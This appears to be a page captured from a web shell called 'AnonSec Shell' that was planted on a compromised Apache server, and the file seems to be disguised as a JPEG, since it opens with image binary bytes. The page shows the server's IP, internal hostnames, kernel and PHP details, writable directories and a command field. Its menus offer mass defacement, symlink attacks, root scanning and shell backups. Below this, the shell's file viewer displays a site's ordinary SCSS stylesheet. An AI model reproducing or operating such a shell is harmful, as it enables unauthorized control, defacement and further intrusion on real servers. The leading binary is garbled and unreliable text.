JFIF  H H C nxxd C "     &    !1A2Q"aqBb    1   ? R{~ ,.Y| @sl_޸s[+6ϵG};?2Y`&9LP ?3rj  "@V]:3T -G*P ( *(@AEY]qqqALn +Wtu?)l QU T* Aj- x:˸T u53Vh @PS@ ,i,!"\hPw+E@ ηnu ڶh% (Lvũbb- ?M֍݌٥IHln㏷L(6 9L^"6P  d&1H&8@TUT CJ%eʹFTj4i5=0g J &Wc+3kU@PS@HH33M * "Uc(\`F+b{RxWGk ^#Uj*v' V ,FYKɠMckZٸ]ePP  d\A2glo=WL(6 ^;k"ucoH"b ,PDVlvL_/:̗rN\m dcw T-O$w+FZ5T *Y~l: 99U)8ZAt@GLX*@bijqW;MᎹ،O[5*5*@=qusݝ *EPx՝.~ YИ 3M3@E)GTg%Anp P MUҀhԳW c֦iZ ffR 7qMcyAZT c0bZU k+oG<] APQ T A={PDti@c>>KÚ"q L.1P k6QY7t.k7o  <P &yַܼJZy Wz{UrS @ ~P)Y:A"]Y&ScVO%17 6l4 i4YR5 ruk* ؼdZͨZZ cLakb3N6æ\1`XTloTuT AA 7Uq@2ŬzoʼnБRͪ&8}: e}0ZNΖJ*Ս9˪ޘtao]7$ 9EjS} qt" ( .=Y:V#'H: δ4#6yjѥBB ;WD-ElFf67*\AmAD Q __'2$ TX 9nu'm@iPDT qS`%u%3[nY,  :g = tiX H]ij"+6Z* .~|05s6 ,ǡ ogm+ KtE-BF  ES@(UJ xM~8%g/= Vw[Vh 3lJT  rK -kˎY ٰ  ,ukͱٵf sXDP  ]p]&MS95O+j &f6m463@ t8ЕX=6}HR 5ٶ06 /@嚵*6  " hP@eVDiYQT `7tLf4c?m//B4 laj  L} :E  b#PHQb, yN`rkAb^ |} s4XB4 * ,@[{Ru+%le2} `,kI$U` >OMuh  P % ʵ/ L\5aɕVN1R6 3}ZLj-Dl@ *( K\^i@F@551 k㫖h  Q沬#h XV +;]6z OsFpiX $OQ ) ųl4 YtK'(W AnonSec Shell
AnonSec Shell
Server IP : 52.223.31.75  /  Your IP : 172.31.12.187   [ Reverse IP ]
Web Server : Apache/2.4.67 () OpenSSL/1.0.2k-fips PHP/7.4.33
System : Linux ip-172-31-14-184.eu-central-1.compute.internal 4.14.281-212.502.amzn2.x86_64 #1 SMP Thu May 26 09:52:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
Domains : 4 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/ascii/frontend/sources/sass/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/ascii/frontend/sources/sass/style.scss
/*
* @package      Style
* @description  This package holds all common style declarations
*               of the site
*/
@import "_variables.scss";
@import "includes/_mixins.scss";
@import "includes/_normalize.scss";
@import "includes/_page-layouts.scss";
@import "includes/tm-grid/_tm-grid.scss";

/*
* @section      Main Styles
* @description  This section holds template default elements style declarations
*/

html {
  font-size: 60px;

  @media (min-width: $screen-sm-min) and (max-width: $screen-md-min - 1) {
    font-size: 70px;
  }

  @media (min-width: $screen-md-min) and (max-width: $screen-lg-min - 1) {
    font-size: 80px;
  }

  @media (min-width: $screen-lg-min) {
    font-size: 100px;
  }

  .old-ie {
    display: none;
  }

  &.lt-ie11 {
    .old-ie {
      display: block;
    }
  }
}

body {
  font-family: $default-font-family;
  font-weight: $default-font-weight;
  font-size: 13px;
  line-height: 1.5;
  -webkit-text-size-adjust: none;
  color: $content-color;
  background: $content-bg;
  @media (min-width: $screen-sm-min) {
    font-size: 14px;
  }
  @media (min-width: $screen-md-min) {
    font-size: 15px;
  }
  @media (min-width: $screen-lg-min) {
    font-size: 16px;
  }
}

/*
* @subsection   Typography
* @description  Describes default font settings for basic html elements and
*               css classes
*/

h1, h2, h3, h4, h5, h6,
.heading-1, .heading-2, .heading-3, .heading-4, .heading-5, .heading-6 {
  display: block;
  color: $default;
  font-weight: 700;
  line-height: 1.2;

  a:hover {
    color: $primary;
  }
}

h1, .heading-1 {
  font-size: 35px;
  line-height: 1.33;

  @media (min-width: $screen-sm-min) {
    font-size: 40px;
    line-height: 1.16;
  }
  @media (min-width: $screen-md-min) {
    font-size: 55px;
  }
  @media (min-width: $screen-lg-min) and (min-height: 600px) {
    line-height: 1.2;
  }
  @media (min-width: $screen-lg-min) and (min-height: 650px) {
    font-size: 72px;
  }
}

a.heading-1 {
  @extend .heading-1;
}

h2, .heading-2 {
  font-size: 28px;
  line-height: 1.5;

  @media (min-width: $screen-sm-min) {
    font-size: 30px;
    line-height: 1.2;
  }
  @media (min-width: $screen-md-min) {
    font-size: 44px;
  }
}

h3, .heading-3 {
  font-size: 26px;
  line-height: 1.5;

  @media (min-width: $screen-sm-min) {
    font-size: 27px;
    line-height: 1.2;
  }
  @media (min-width: $screen-md-min) {
    font-size: 32px;
  }
}

h4, .heading-4 {
  font-size: 22px;
  @media (min-width: $screen-sm-min) {
    font-size: 23px;
    line-height: 1.2;
  }
  @media (min-width: $screen-md-min) {
    font-size: 24px;
  }
}

h5, .heading-5 {
  font-size: 18px;
  @media (min-width: $screen-sm-min) {
    font-size: 19px;
  }
  @media (min-width: $screen-md-min) {
    font-size: 20px;
  }
}

h6, .heading-6 {
  font-size: 15px;
  @media (min-width: $screen-md-min) {
    font-size: 16px;
  }
}

a {
  &:hover {
    color: $primary;
  }
}

a[href^="callto"] { white-space: nowrap; }

.big {
  font-size: 22px;
  @media (min-width: $screen-sm-min) {
    font-size: 23px;
    line-height: 1.2;
  }
  @media (min-width: $screen-md-min) {
    font-size: 24px;
    line-height: 1.41;
  }
}

/*
* @section      Main Layout
* @description  This section holds class declarations for elements indent creation
*/

/*
* @subsection   Offsets
* @description  Describes vertical indentation between the elements
*/

* + h1 {
}

* + h2 {
}

* + h3 {
}

* + h4 {
}

* + h5 {
}

* + h6 {
}

* + p {
  margin-top: 10px;
  @media (min-width: $screen-lg-min) {
    margin-top: 20px;
  }
}

* + img {
}

* + .btn {
  margin-top: 10px;
  @media (min-width: $screen-lg-min) and (min-height: 600px) {
  }
  @media (min-width: $screen-lg-min) and (min-height: 650px) {
    margin-top: 20px;
  }
}

* + .link {
}

* + .list {
}

* + .index-list {
}

* + .marked-list {
  margin-top: 10px;
}

* + .ordered-list {
}

* + .inline-list {
}

* + .contact-info {
}

* + .btn-group {
}

* + .box,
* + .box-xs,
* + .box-sm,
* + .box-md,
* + .box-lg {
}

* + .row {
  margin-top: 20px;
  @media (min-width: $screen-md-min) {
    margin-top: 30px;
  }
  @media (min-width: $screen-lg-min) and (min-height: 600px) {
  }
  @media (min-width: $screen-lg-min) and (min-height: 650px) {
    margin-top: 70px;
  }
}

* + .container {
}

* + .container-fluid {
}

* + .rd-mailform {
}

* + .contact-form {
  margin-top: 15px;
  @media (min-width: $screen-lg-min) and (min-height: 600px) {
  }
  @media (min-width: $screen-lg-min) and (min-height: 650px) {
    margin-top: 65px;
  }
}

* + .contact-form-1 {
  margin-top: 15px;
  @media (min-width: $screen-lg-min) and (min-height: 600px) {
  }
  @media (min-width: $screen-lg-min) and (min-height: 650px) {
    margin-top: 40px;
  }
}

* + .rd-blog-post {
  margin-top: 20px;
  @media (min-width: $screen-lg-min) and (min-height: 600px) {
    margin-top: 10px;
  }
  @media (min-width: $screen-lg-min) and (min-height: 650px) {
  }
}

* + .owl-carousel {
  margin-top: 30px;
  @media (min-width: $screen-lg-min) and (min-height: 650px) {
    margin-top: 75px;
  }
}

h1 + .big {
  margin-top: 15px;
  @media (min-width: $screen-lg-min) {
    margin-top: 20px;
  }
}

h2 + h4 { margin-top: 20px; }

h2 + p {
  margin-top: 10px;
  @media (min-width: $screen-lg-min) and (min-height: 600px) {
  }
  @media (min-width: $screen-lg-min) and (min-height: 650px) {
    margin-top: 60px;
  }
}

h2 + p.big {
  margin-top: 15px;
  @media (min-width: $screen-lg-min) and (min-height: 600px) {
  }
  @media (min-width: $screen-lg-min) and (min-height: 650px) {
    margin-top: 20px;
  }
}

h4 + p {
  margin-top: 5px;
  @media (min-width: $screen-lg-min) and (min-height: 600px) {
    margin-top: 8px;
  }
  @media (min-width: $screen-lg-min) and (min-height: 650px) {
  }
  @media (min-width: 1800px) {
    margin-top: 40px;
  }
}

p + p { margin-top: 10px; }

.icon + h4 {
  margin-top: 10px;
  @media (min-width: $screen-lg-min) and (min-height: 600px) {
    margin-top: 15px;
  }
  @media (min-width: $screen-lg-min) and (min-height: 650px) {
    margin-top: 20px;
  }
}

* + time {
}

p + p {
}

.box, .box-xs, .box-sm, .box-md, .box-lg {
  & + .box,
  & + .box-xs,
  & + .box-sm,
  & + .box-md,
  & + .box-lg {
  }
}

.marked-list + * {
  margin-top: 10px;
}

.row + .row {
  margin-top: 40px;
  @media (min-width: $screen-lg-min) and (min-height: 600px) {
  }
  @media (min-width: $screen-lg-min) and (min-height: 650px) {
    margin-top: 110px;
  }
}

.flow-offset-1 {
  @include make-flow-offset(30px);
}

.container {
  .rd-navbar-search-results {
    .result-item + .result-item {
      margin-top: 30px;
    }
  }
}

.inset-1 {
  @media (min-width: $screen-lg-min) and (min-height: 600px) {
    padding-left: 14%;
    padding-right: 14%;
  }
  @media (min-width: $screen-lg-min) and (min-height: 650px) {
  }
}

.inset-2 {
  @media (min-width: $screen-lg-min) and (min-height: 600px) {
    padding-left: 100px;
    padding-right: 90px;
  }
  @media (min-width: $screen-lg-min) and (min-height: 650px) {
  }
}

.inset-3 {
  @media (min-width: $screen-lg-min) and (min-height: 600px) {
    padding-left: 200px;
    padding-right: 190px;
  }
  @media (min-width: $screen-lg-min) and (min-height: 650px) {
  }
}

.inset-4 {
  @media (min-width: $screen-lg-min) and (min-height: 600px) {
    padding-right: 60px;
  }
  @media (min-width: $screen-lg-min) and (min-height: 650px) {
  }
}

.inset-5 {
}

html body .page {

  //Offsets
  @include make-offset(0, top);
  @include make-offset(5, top);
  @include make-offset(10, top);
  @include make-offset(20, top);
  @include make-offset(25, top);
  @include make-offset(30, top);
  @include make-offset(35, top);
  @include make-offset(40, top);
  @include make-offset(50, top);
  @include make-offset(60, top);
  @include make-offset(85, top);
  @include make-offset(90, top);
  @include make-offset(110, top);
  @include make-offset(-20, top, null, negative);
  @include make-offset(-30, top, null, negative);
  @include make-offset(30, bottom);
  @include make-offset(-30, bottom, null, negative);

  //Preffix
  @include make-preffix(30);
  //Postfix
  @include make-postfix(30);
  @include make-postfix(-30, null, negative);

  @each $resolution, $alias in ($screen-xs-min : xs, $screen-sm-min : sm, $screen-md-min : md, $screen-lg-min : lg, $screen-xl-min: xl) {
    @media (min-width: $resolution) {
      //Offsets
      @include make-offset(0, top, $alias);
      @include make-offset(5, top, $alias);
      @include make-offset(10, top, $alias);
      @include make-offset(20, top, $alias);
      @include make-offset(25, top, $alias);
      @include make-offset(30, top, $alias);
      @include make-offset(35, top, $alias);
      @include make-offset(40, top, $alias);
      @include make-offset(50, top, $alias);
      @include make-offset(60, top, $alias);
      @include make-offset(85, top, $alias);
      @include make-offset(90, top, $alias);
      @include make-offset(110, top, $alias);
      @include make-offset(-20, top, $alias, negative);
      @include make-offset(-30, top, $alias, negative);
      @include make-offset(0, bottom, $alias);
      @include make-offset(30, bottom, $alias);
      @include make-offset(-30, bottom, $alias, negative);

      //Preffix
      @include make-preffix(30, $alias);

      //Postfix
      @include make-postfix(30, $alias);
      @include make-postfix(-30, $alias, negative);
    }
  }

}

/*
* @subsection   Well
* @description  Describes section inner indents
*/

.well {
  padding-top: 55px;
  padding-bottom: 55px;

}




.well-1 {
  @media (min-width: $screen-lg-min) and (min-height: 600px) {
    padding-top: 70px;
    padding-bottom: 70px;
  }
  @media (min-width: $screen-lg-min) and (min-height: 650px) {
    padding-top: 110px;
    padding-bottom: 170px;
  }
}

.well-2 {
  @media (min-width: $screen-lg-min) and (min-height: 600px) {
    padding-top: 80px;
    padding-bottom: 80px;
  }
  @media (min-width: $screen-lg-min) and (min-height: 650px) {
    padding-top: 110px;
    padding-bottom: 110px;
  }
}

.well-3 {
  padding-top: 80px;
  padding-bottom: 100px;
  @media (min-width: $screen-sm-min) {
    padding-top: 100px;
    padding-bottom: 120px;
  }
  @media (min-width: $screen-md-min) {
    padding-top: 130px;
    padding-bottom: 150px;
  }
  @media (min-width: $screen-lg-min) and (min-height: 600px) {
  }
  @media (min-width: $screen-lg-min) and (min-height: 650px) {
    padding-top: 240px;
    padding-bottom: 250px;
  }
  &-inset-1 {
    @media (min-width: $screen-lg-min) and (min-height: 600px) {
    }
    @media (min-width: $screen-lg-min) and (min-height: 650px) {
      padding-top: 260px;
      padding-bottom: 280px;
    }
    &.rd-parallax-layer {
      @media (max-width: $screen-sm-min - 1px) {
        padding-top: 50px;
        padding-bottom: 50px;
      }
    }
  }

}

.well-4 {
  @media (min-width: $screen-lg-min) and (min-height: 600px) {
    padding-top: 60px;
    padding-bottom: 80px;
  }
  @media (min-width: $screen-lg-min) and (min-height: 650px) {
    padding-top: 70px;
    padding-bottom: 100px;
  }
}

.well-5 {
  padding-top: 80px;
  padding-bottom: 100px;
  @media (min-width: $screen-sm-min) {
    padding-top: 100px;
    padding-bottom: 120px;
  }
  @media (min-width: $screen-md-min) {
    padding-top: 130px;
    padding-bottom: 150px;
  }
  @media (min-width: $screen-lg-min) and (min-height: 600px) {
  }
  @media (min-width: $screen-lg-min) and (min-height: 650px) {
    padding-top: 200px;
    padding-bottom: 220px;
  }
}


.mobile,
.tablet,
.ipad,
.ios {
  .well {
    &.rd-parallax-layer {
      @media (max-width: $screen-sm-min - 1px) {
        padding-top: 100px;
        padding-bottom: 10px;
      }
      @media (max-width: $screen-md-min - 1px) {
        padding-top: 160px;
        padding-bottom: 80px;
      }
      @media (max-width: $screen-lg-min - 1px) {
        padding-top: 120px;
        padding-bottom: 100px;
      }
    }
  }
}

/*
* @section      Helpers
* @description  This section holds various helper classes for
*               conditional page styling
*/

.round {
  border-radius: 50%;
}

/*
* @subsection   Colors
*/

html body .page { // Increases specificity to use with background helpers
  .text-primary {
    color: $primary;
  }
  a.text-primary {
    &:hover {
      color: $banana;
    }
  }
  h1, .heading-1, h2, .heading-2, h3, .heading-3, h4, .heading-4, h5, .heading-5, h6, .heading-6 {
    a.text-primary:hover {
      color: $mountaen-mist;
    }
  }
  .text-white {
    color: $white;
  }
  .text-banana {
    color: $banana;
  }
}

/*
* @subsection   Backgrounds
*/
.bg-primary {
  background: $primary;
}

.bg-mountaen-mist {
  background: $mountaen-mist;
  color: $white;
  h1, .heading-1, h2, .heading-2, h3, .heading-3, h4, .heading-4, h5, .heading-5, h6, .heading-6 {
    color: $white;
  }
}

.bg-grey {
  background: $grayscale-lightest;
}

@import "components/_floating.scss";
@import "components/_text-alignment.scss";
@import "components/_text-styling.scss";
@import "components/_responsive-utilities";
@import "components/_animate.scss";

/*
* @section      Icon Fonts
* @description  This section holds all icon fonts stored in template
*/

@import "components/_font-awesome.scss";
@import "components/_thin.scss";
@import "components/_linecons.scss";

/*
* @section      Components
* @description  This section holds all elements style declarations of template
*/

@import "components/_buttons.scss";
@import "components/_icons.scss";

/*
 * @subsection   Box
 */
@import "includes/tm-box/_boxes.scss";

.box-custom {
  text-align: center;
  .box__left {
  }
  .box__body {
    padding: 0 15px 45px;
  }

  @media (min-width: $screen-sm-min) {
    text-align: left;
    img {
      width: 350px;
    }
    .box__body {
      padding: 0;
    }
  }
}

/*
* @subsection   Quote
*/
.quote {
}

/*
* @subsection   Pricing Box
*/

.pricing-box {
}

.product-info {
  padding-bottom: 30px;
  text-align: center;
  background: $grayscale-lightest;
  transition: .3s ease-out all;
  .image {
    > img {
      width: 100%;
    }
  }
  .body {
    padding: 20px;
    min-height: 385px;
    h4, .heading-4 {
      min-height: 56px;
    }
  }
  .product-list {
    margin-top: 25px;
    li {
      & + li {
        margin-top: 10px;
      }
    }
  }
  &:hover {
    background: $banana;
  }

  @media (min-width: $screen-lg-min) and (min-height: 600px) {
    .body {
      padding: 20px 25px;
      min-height: 425px;
    }
  }
  @media (min-width: $screen-lg-min) and (min-height: 650px) {
  }
}

.block-info {
  display: block;
  text-align: left;
  background: $grayscale-lightest;
  padding-bottom: 40px;
  .header {
    padding: 30px 20px 25px;
    text-align: center;
  }
  .body {
    padding-left: 40px;
    padding-right: 40px;
  }
  .block-info-list {
    > li {
      @include flexbox;
      @include flex-direction(row);

      span {
        &:first-child {
          width: 44%;
        }
        &:nth-child(2) {
          width: 30%;
        }
        &.custom {
          width: 50%;
          text-align: center;
        }
      }
      &:first-child {
        & + li {
          margin-top: 13px;
        }
      }
    }
    li + li {
      margin-top: 8px;
    }
  }
}

/*
* @subsection   Breadcrumbs
*/

.breadcrumbs {
}

/*
* @subsection   Post
*/

.post {
  > time {
    font-size: 12px;
    color: $delta;
    @media (min-width: $screen-lg-min) and (min-height: 600px) {
      margin-bottom: 10px;
    }
    @media (min-width: $screen-lg-min) and (min-height: 650px) {
    }
  }
  .title {
    color: $primary;
  }
  .title + p {
    margin-top: 30px;
  }
  .video-wrap {
    margin-top: 20px;
    position: relative;
    padding-bottom: 52.25%; /* 16:9 */
    padding-top: 25px;
    height: 0;
    iframe {
      position: absolute;
      top: 0;
      left: 0;
      width: 100%;
      height: 100%;
      border: none;
    }
  }
  .post-link {
    margin-top: 20px;
    display: inline-block;

    .head {
      display: inline-block;
      font-size: 12px;
      color: $dark-gray;
    }
    .inline-list-1 {
      margin-top: 2px;
      margin-left: 7px;
      display: inline-block;
      > li {
        display: inline-block;
      }
      > li + li {
        margin-left: 15px;
      }
    }
    @media (min-width: $screen-lg-min) and (min-height: 600px) {
    }
    @media (min-width: $screen-lg-min) and (min-height: 650px) {
      margin-top: 45px;
    }
  }

  .post-item {
    display: block;
    .image {
      display: block;
    }
    .body {
      margin-top: 10px;
      h6 {
        color: $primary;
        font-weight: 700;
        a:hover { color: $steel-gray-solid; }
      }
      > time {
        font-size: 12px;
        color: $dark-gray;
      }
      * + .icon { margin-top: 10px; }
      * + p { margin-top: 15px; }
      @media (min-width: 320px) and (max-width: $screen-md-min - 1) {
        * + .icon { margin-top: 15px; }
      }
    }
    @media (min-width: $screen-sm-min) {
      .image, .body {
        display: table-cell;
        > img {
          max-width: none;
        }
      }
      .image {
        padding-right: 20px;
        text-align: left;
      }
      .body {
        margin-top: 0;
        padding-top: 7px;
      }
    }
  }
  .post-item + .post-item {
    padding-left: 30px;
    margin-top: 15px;
    @media (min-width: $screen-sm-min) {
      margin-top: 25px;
      padding-left: 70px;
    }
  }
  * + .post-item {
    margin-top: 30px;
    @media (min-width: $screen-lg-min) and (min-height: 600px) {
      margin-top: 20px;
    }
    @media (min-width: $screen-lg-min) and (min-height: 650px) {
    }
  }
}

.news-post {

  time {
    margin-top: 10px;
    color: $delta;
    font-size: 12px;
  }
  h4 + p {
    margin-top: 10px;
  }
  * + & {
    margin-top: 40px;
    @media (min-width: $screen-lg-min) and (min-height: 600px) {
    }
    @media (min-width: $screen-lg-min) and (min-height: 650px) {
    }
  }
  @media (min-width: $screen-sm-min) {
    min-height: 400px;
  }
  @media (min-width: $screen-lg-min) and (min-height: 600px) {
    min-height: 460px;
  }
  @media (min-width: $screen-lg-min) and (min-height: 650px) {
    h4 + p {
      margin-top: 20px;
    }
  }
}

.image-wrapper-block {
  .custom {
    margin-top: 20px;
  }
  @media (min-width: $screen-lg-min) and (min-height: 600px) {
    .custom {
      margin-top: -60px;
      margin-left: 100px;
    }
  }
  @media (min-width: $screen-lg-min) and (min-height: 650px) {
  }
}

/*
* @subsection   Thumbnail
*/

.thumbnail {
  @include flexbox;
  @include flex-direction(column);
  text-align: center;
  overflow: hidden;
  background-color: $grayscale-lightest;

  .caption {
    z-index: 1;
    position: relative;
    padding: 20px;
    background-color: $white;
    &:before {
      z-index: -1;
      content: '';
      position: absolute;
      top: 0;
      left: 0;
      width: 100%;
      height: 100%;
      background-color: $yellow;
      transition: .3s ease-out all;
      @media (min-width: $screen-lg-min) {
        height: 0;
      }
      @media (min-width: $screen-lg-min) and (min-height: 650px) {
      }
    }
  }

  @media (min-width: $screen-xs-min) {
    width: 360px;
    min-width: 360px;
    margin: 0 auto;
    .caption {
      padding: 20px 10px 20px 10px;
    }
  }
  @media (min-width: $screen-md-min) {
    width: 460px;
  }
  @media (min-width: $screen-lg-min) and (min-height: 600px) {
  }
  @media (min-width: $screen-lg-min) and (min-height: 650px) {
    width: 520px;
  }
  @media (min-width: 1600px) {
    @include flex-direction(row);
    height: 380px;
    margin: 0;
    padding: 0;
    width: auto;
    min-width: 0;
    text-align: left;
    .image-wrapper {
      width: 50%;
      > img {
        position: relative;
        width: auto;
        max-width: none;
        transition: .3s ease-out all;
      }
      &-custom {
        @include transform(translateX(-50px));
      }
    }

    .caption {
      height: 100%;
      width: 50%;
      padding: 30px 30px 5px 36px;
      &:after {
        content: '';
        position: absolute;
        left: -12px;
        top: 9%;
        @include triangle(left, 13px, 30px, $white);
        transition: .3s ease-out all;
      }
    }

    &:hover {
      .image-wrapper {
        > img {
          @include transform(translateX(50px));
        }
      }
    }
  }

  @media (min-width: 1800px) {
    height: 430px;
    .caption {
      @include align-self(flex-start);
    }
  }

  @media (min-width: 2000px) {
    .caption { padding: 40px 60px 40px 56px; }
  }

  &:hover {
    .caption {
      &:before {
        height: 500px;
      }
      &:after {
        border-color: transparent $yellow transparent transparent;
      }
    }
    @media (min-width: 1600px) {
    }
  }

  &-reverse {
    @media (min-width: 1600px) {
      @include flex-direction(row-reverse);

      .caption {
        &:after {
          left: auto;
          right: -12px;
          top: 9%;
          @include triangle(right, 13px, 30px, $white);
        }
      }

      &:hover {
        .image-wrapper {
          > img {
            @include transform(translateX(-50px))
          }
        }
        .caption {
          &:after {
            border-color: transparent transparent transparent $yellow;
          }
        }
      }
    }
  }

  &-offset-0 {
    padding-top: 0;
  }
}

.thumbnail-1 {
  * + h4 {
    margin-top: 10px;
  }
}

/*
* @subsection   List
*/

.list {
}

.list-1 {
  text-align: center;
  li {
    a {
      color: $primary;
      &:hover {
        color: $mountaen-mist;
      }
    }
  }
  li + li {
    margin-top: 10px;
  }
}

.horizontal-list {
  .custom {
    @include flexbox();
    @include justify-content(space-around);
    @media (min-width: $screen-lg-min) and (min-height: 600px) {
      @include justify-content(space-between);
    }
    @media (min-width: $screen-lg-min) and (min-height: 650px) {
    }
  }
  a {
    &:hover {
      @include opacity(.7);
    }
  }
}

.sidebar {
  padding: 30px 20px;
  text-align: center;
  background: $grayscale-lightest;
  * + h4 {
    margin-top: 50px;
  }
  h4 + * {
    margin-top: 20px;
  }
}

.pagination {
  display: inline-block;
  li {
    display: inline-block;
    > a {
      padding: 6px 8px;
      font-size: 13px;
      display: inline-block;
      font-weight: 700;
      line-height: 1.2;
      text-align: center;
      color: $white;
      background-color: $primary;
      @media (min-width: $screen-xs-min) {
        font-size: 14px;
        padding: 8px 10px;
      }
      @media (min-width: $screen-sm-min) {
        padding: 12px 18px;
        font-size: 18px;
      }
      &:hover {
        color: $white;
        background: $mountaen-mist;
      }
    }
    &.active, &.previous {
      > a {
        color: $default;
        background: $grayscale-lightest;
        &:hover {
          color: $white;
          background: $mountaen-mist;
        }
      }
    }
    &.active {
      pointer-events: none;
    }
    &.previous, &.next {
      > a {
        min-width: 60px;
        @media (min-width: $screen-xs-min) {
        }
        @media (min-width: $screen-sm-min) {
          min-width: 110px;
        }
      }
    }
  }
  li + li {
    margin-left: 5px;
    @media (min-width: $screen-xs-min) {
      margin-left: 8px;
    }
    @media (min-width: $screen-sm-min) {
      margin-left: 15px;
    }
  }
}

.box-skin {
  position: relative;
  padding: 30px 20px;
  p {
    @media (min-width: $screen-lg-min) and (min-height: 600px) {
      padding-left: 10px;
      padding-right: 15px;
    }
    @media (min-width: $screen-lg-min) and (min-height: 650px) {
    }
  }
  &-active {
    background: $grayscale-lightest;
    @media (min-width: $screen-sm-min) and (max-width: $screen-md-min - 1) {
      background: transparent;
    }
    &:before, &:after {
      content: '';
      display: none;
      position: absolute;
      top: 50%;
      @include transform(translateY(-50%));
    }
    &:before {
      left: 0;
      @include triangle(right, 15px, 30px, $white)
    }
    &:after {
      right: -15px;
      @include triangle(right, 15px, 30px, $grayscale-lightest)
    }
  }
  @media (min-width: $screen-lg-min) and (min-height: 600px) {
    padding-top: 60px;
    padding-bottom: 60px;
    &-active {
      &:before, &:after {
        display: block;
      }
    }
  }
}

/*
* @subsection   Inline List
*/

.inline-list {
  @include transform(translateY(-30px));
  margin-bottom: -30px;
  margin-left: -30px;

  > li {
    display: inline-block;
    margin-top: 30px;
    margin-left: 30px;
  }
}

/*
* @subsection   Marked List
*/

.marked-list {
  text-align: left;

  > li {
    position: relative;
    padding-left: 20px;

    &:before {
      content: '';
      display: block;
      position: absolute;
      top: 50%;
      @include transform(translateY(-50%));
      left: 5px;
      width: 4px;
      height: 4px;
      background: $primary;
    }

    & + li {
      margin-top: 10px;
    }

    > a:hover {
    }
  }
  @media (min-width: $screen-xs-min) {
    padding-left: 20px;
  }
}

/*
* @subsection   Index List
*/

.index-list {
  counter-reset: li;

  > li {
    > .index-list__counter {
      &:before {
        content: counter(li, decimal-leading-zero) '.';
        counter-increment: li;
      }
    }
  }

  // Sets offset between list rows
  @include make-flow-offset(30px);
}

/*
* @subsection   Ordered List
*/

.ordered-list {
  > li {
    padding-left: 20px;
    list-style-type: decimal;
  }
}

/*
* @subsection   Terms  List
*/

.terms-list {
  > dt + dd {
    margin-top: 10px;
  }

  > dd + dt {
    margin-top: 20px;
  }
  & + a[href^="mailto"] {
    display: inline-block;
    margin-top: 30px;
    color: $primary;
    &:hover {
      color: $mountaen-mist;
    }
  }
}

/*
* @subsection   Contact Info
*/

.contact-info {
  p {
  }

  dl {
    dt, dd {
      display: inline-block;
    }

    dt:after {
      content: ':';
    }

    dt {
      min-width: 80px;
    }
  }
}

/*
* @subsection   Counter
*/

.counter {
}

/*
* @subsection   Thumb
*/

.thumb {
  position: relative;
  display: block;
  overflow: hidden;

  > img {
    width: 100%;
  }

  &__overlay {
    position: absolute;
    left: 0;
    top: 0;
    bottom: 0;
    right: 0;
    background: rgba($mountaen-mist, .5);
    opacity: 0;
    text-align: center;
    transition: .3s all ease;

    > * {
      vertical-align: middle;
      @include transform(translateY(30px));
      transition: .3s all ease;
    }

    &:before {
      position: absolute;
      top: 50%;
      left: 50%;
      @include transform(translate(-100%, -50%));
      font-size: 30px;
      color: $white;
      transition: .3s ease-out all;
    }
  }

  &:hover {
    .thumb__overlay {
      opacity: 1;

      > * {
        @include transform(translateY(0));
      }

      &:before {
        @include transform(translate(-50%, -50%));
      }

    }
  }
}

/*
* @subsection   Link
*/

.link {
  display: inline-block;
}

/*
* @subsection   Video
*/

.video {
  position: relative;
  padding-bottom: percentage(340 / 570); // percentage( Height / Width ) on PSD

  > iframe {
    position: absolute;
    left: 0;
    top: 0;
    width: 100%;
    height: 100%;
  }
}

/*
* @section      Extensions
* @description  This section holds some of style declarations for necessary
*               scripts
*/

@import "extensions/_rd-navbar.scss";
@import "extensions/_rd-mailform.scss";
@import "extensions/_rd-google-map.scss";
@import "extensions/_rd-parallax.scss";
@import "extensions/_ui-to-top.scss";
@import "extensions/_responsive-tabs.scss";
@import "extensions/_swiper.scss";
@import "extensions/_owl-carousel.scss";
@import "extensions/_magnific-popup.scss";

/*
* @section      Page Header
* @description  This section holds specific style redeclarations for some
*               of common elements in page header
*/

.page-header {
  color: $header-color;
  background-color: $header-bg;
}

/*
* @section      Page Content
* @description  This section holds specific style redeclarations for some
*               of common elements in page content
*/

.page-content {
  z-index: 1;
  position: relative;
  .desktop & {
    //min-height: 100vh;
  }
}

/*
* @section      Page Footer
* @description  This section holds specific style redeclarations for some
*               of common elements in page footer
*/

.page-footer {
  padding-top: 50px;
  padding-bottom: 50px;
  color: $footer-color;
  background-color: $footer-bg;
  h1, .heading-1, h2, .heading-2, h3, .heading-3, h4, .heading-4, h5, .heading-5, h6, .heading-6 {
    color: $white;
  }
  .vertical-list {

    li {
      & + li {
        margin-top: 10px;
      }
    }
    .info {
      position: relative;
      margin-left: 26px;
      display: inline-block;
      &:before {
        content: '';
        position: absolute;
        left: -26px;
        pointer-events: none;
        top: 50%;
        @include transform(translateY(-50%));
        font-family: $fa;
        font-size: 18px;
        color: $white;
      }
      &:hover {
        &:before {
          color: $white;
        }
      }
    }
    .mail {
      color: $banana;
      &:before {
        content: '\f003';
        left: -30px;
      }
      &:hover {
        color: $primary;
      }
    }
    .tel {
      &:before {
        content: '\f10b';
        font-size: 24px;
      }
    }
    .marker {
      &:before {
        content: '\f041';
        top: 30%;
      }
    }
  }
  .btn-primary.btn-aylen {
    &:before {
      background-color: #28a3e5;
    }
    &:after {
      background-color: $yellow;
    }
    &:hover {
      color: $default;
    }
  }
  .inline-list-footer {
    display: inline-block;
    vertical-align: bottom;
    margin-left: 20px;
    > li {
      display: inline-block;
      & + li {
        margin-left: 10px;
        @media (min-width: $screen-lg-min) and (min-height: 600px) {
          margin-left: 15px;
        }
        @media (min-width: $screen-lg-min) and (min-height: 650px) {
        }
      }
    }
  }
  h4 + * {
    margin-top: 20px;
    @media (min-width: $screen-lg-min) and (min-height: 600px) {
    }
    @media (min-width: $screen-lg-min) and (min-height: 650px) {
      margin-top: 30px;
    }
  }
  h4 + .inline-list-footer {
    margin-top: 0;
  }
  h4 + .subscribe {
    margin-top: 20px;
  }
  @media (min-width: $screen-sm-min) {
    padding-top: 65px;
    padding-bottom: 65px;
  }
  @media (min-width: $screen-md-min) {
    padding-top: 75px;
    padding-bottom: 75px;
  }
